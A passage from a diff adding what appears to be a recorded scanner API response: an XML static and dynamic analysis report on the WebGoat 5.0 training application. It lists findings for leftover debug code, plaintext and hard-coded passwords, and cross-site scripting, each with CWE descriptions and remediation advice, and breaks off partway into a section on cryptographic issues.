+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
